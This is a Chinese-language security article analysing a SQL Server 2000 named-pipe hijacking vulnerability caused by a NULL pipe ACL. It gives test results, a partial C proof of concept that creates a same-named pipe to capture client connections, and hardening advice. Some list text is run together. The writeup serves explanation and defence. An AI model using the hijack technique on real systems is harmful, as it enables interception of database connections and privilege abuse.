SQL Server 2000 作為早期廣泛部署的資料庫平台,其命名管道通訊機制存在一個嚴重的安全缺陷:管道 ACL 設置為 NULL,導致任何權限的用戶均可對管道進行劫持。本文將深入剖析此漏洞的原理、利用方式及防禦對策。
SQL Server 2000 支援透過命名管道進行客戶端與伺服器間的通訊。管道命名規則如下:
\\.\pipe\sql\query\\.\pipe\MSSQL$\sql\query 此外,攻擊者亦可透過 UDP 1434 埠查詢取得管道名稱,進一步降低攻擊門檻。
核心問題在於 SQL Server 2000 建立命名管道時,未正確設定存取控制清單(ACL),導致管道預設允許所有用戶存取。這意味著低權限用戶也能建立同名管道並進行「後命名劫持」。
早期劫持手法需先停止 SQL Server 服務,再建立同名管道,最後重啟服務——但低權限用戶通常無法控制服務。然而測試發現:當 ACL 為 NULL 時,即使 SQL Server 已先建立管道,攻擊者仍可透過建立多個不釋放的管道連接,消耗正常管道的實例數量,迫使後續客戶端連接進入攻擊者監聽的管道。
實測數據顯示:
\\.\pipe\sql\query 僅需建立 1 個連接即可劫持\\.\pipe\lsass 需 4-5 個連接,但其 ACL 僅允許管理員劫持TEST.TXT,設定 ACL:GUEST 拒絕存取,其他用戶允許TEST.TXT 失敗,隨後建立同名管道並保持連接等待#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
void main() {
HANDLE pipea, pipeb[100];
FILE *fp;
DWORD ret, num;
int i, dwSize;
char szUser[256];
DWORD dwNumber = 0;
// 測試 GUEST 權限無法開啟檔案
fp = fopen("C:\\test.txt", "w");
if (fp == NULL)
printf("now you don't open file;\n");
// 建立同名管道復用 SQL Server 管道
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT,
100, 2048, 2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);
// ...後續建立多個不釋放連接消耗實例
}
雖然現代環境多採用 TCP/IP 通訊,管道劫持實際攻擊面較小,但此漏洞揭示了缺乏完善 ACL 保護的 IPC 機制極易遭受後命名劫持,開發伺服器端管道應用時務必:
CreateNamedPipe 時傳遞有效的 SECURITY_ATTRIBUTESSQL Server 2000 已停止支援,但此類管道 ACL 缺失問題在早期 Windows IPC 程式設計中普遍存在。現代開發者應吸取教訓,在設計進程間通訊時嚴格遵循最小權限原則,妥善配置核心物件安全描述元,從根源杜絕同類劫持風險。